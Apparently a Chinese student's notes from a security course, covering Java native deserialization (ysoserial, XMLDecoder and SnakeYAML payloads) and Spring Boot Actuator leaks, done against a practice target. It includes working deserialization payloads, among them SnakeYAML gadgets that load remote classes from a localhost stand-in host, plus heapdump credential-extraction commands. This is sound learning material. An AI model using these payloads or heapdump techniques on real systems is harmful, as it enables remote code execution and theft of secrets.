本文发布于464天前,本文最后更新于463 天前,其中的信息可能已经过时,如有错误请留言或评论。
知识点
- Java安全-原生反序列化-3大类接口函数&利用
- Java安全-SpringBoot攻防-泄漏安全&CVE安全
演示案例
➢Java安全-反序列化-原生序列化类函数
简介
- 序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程
- java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码的特征为rO0AB(面试可能会问到,记住即可)
- JAVA常见的序列化和反序列化的方法有JAVA 原生序列化和JSON 类(fastjson、jackson)序列化等。
发现
- 黑盒发现(流量捕获,简介中第二条)
- 白盒发现(特征类接口函数,下面的函数类)
原生序列化类函数:
- SnakeYaml:完整的YAML1.1规范Processor,支持Java对象的序列化/反序列化
- XMLDecoder:xml语言格式序列化类函数接口
- ObjectInputStream.readObject():任何类如果想要序列化必须实现java.io.Serializable接口
利用项目
基于-ObjectInputStream.readObject()的利用工具
- Yakit: https://yaklang.com/
- github地址:https://github.com/NotSoSecure/SerializedPayloadGenerator
- 这个搭建比较麻烦,前面有提到过使用IIS搭建的
- github地址:https://github.com/frohoff/ysoserial
- 一个jar包ysoserial-0.0.8-SNAPSHOT-all.jar
实际上前两个本质都用的是第三个
演示靶场
javasec-0.0.1-SNAPSHOT.jar靶场,前面有下载地址,前面几天
readObject
通过工具ysoserial-0.0.8-SNAPSHOT-all.jar生成payload
- Windows:
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "cmd /c calc" | base64 -w0
- Macos:
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64
- 将生成的payload提交即可执行
xmldecoder
XML:
<?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_151" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start" /> </object> </java>
SnakeYAML
介绍
- SnakeYAML 在反序列化时可以指定 class 类型和构造方法的参数
- 结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行
测试
payload
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp', autoCommit: true} !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2222"]]]]
这里测试使用的是第一个payload(通过jndi实现攻击,受jdk版本影响),可以成功执行,使用ldap协议可以使dnslog有回显
➢Java安全-SpringBoot框架-泄漏&CVE
简介
- SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。
测试
javasec-0.0.1-SNAPSHOT.jar靶场的Spring Boot Actuator
- SpringBoot项目检测清单参考:https://github.com/LandGrey/SpringBootVulExploit
- 泄漏安全(配置密码,AK/SK等)
- 根据泄露的文件如heapdump获取数据库配置密码等敏感信息
- github地址:https://github.com/whwlsfb/JDumpSpider
- 获取项目相关信息,建议使用java1.8,缺点是这个不能我们自定义提取
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
- 获取项目相关信息,建议使用java1.8,缺点是这个不能我们自定义提取
- github地址:https://github.com/wyzxxz/heapdump_tool
- 可以自己选择要提取的信息
java -jar heapdump_tool.jar heapdump
- 可以自己选择要提取的信息
- 根据泄露下载到的heapdump进行提取有价值信息从而进行后期渗透
- 漏洞安全(利用类,CVE漏洞等)
- github地址:https://github.com/AabyssZG/SpringBoot-Scan
- github地址:https://github.com/0x727/SpringBootExploit
- 这个项目不知道为啥我的电脑跑不起来,裂开
- github地址:https://github.com/AabyssZG/SpringBoot-Scan
发现springboot
- 黑盒发现(人工识别,BP插件)
- 人工识别:
- 图标——一片绿叶
icon_hash="116323821"
- 页面
body="Whitelabel Error Page"
- 图标——一片绿叶
- bp插件:
- github地址:https://github.com/API-Security/APIKit
- 添加到bp之后正常访问页面即可,若有SpringBoot即可识别到
- 人工识别:
- 白盒发现(pom.xml,引用库)
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency>
#Actuator设置全部暴露 management.endpoints.web.exposure.include=*
- 小迪演示了一个靶场案例(白盒)
- pom.xml中发现引用了Actuator,并且application.yml配置文件中Actuator设置全部暴露
- 运行靶场后进行访问,可以看到bp插件识别到了,并获取到了信息
- 使用SpringBoot-Scan进行扫描分析,未扫描到CVE可利用漏洞
- 扫描发现敏感文件heapdump进行下载,后续利用前面的项目对heapdump进行分析即可
- 若在信息搜集时发现是SprinigBoot,即可进行测试
参考
学习内容均来自小迪安全系列课程:
我也没听懂xmldecoder是啥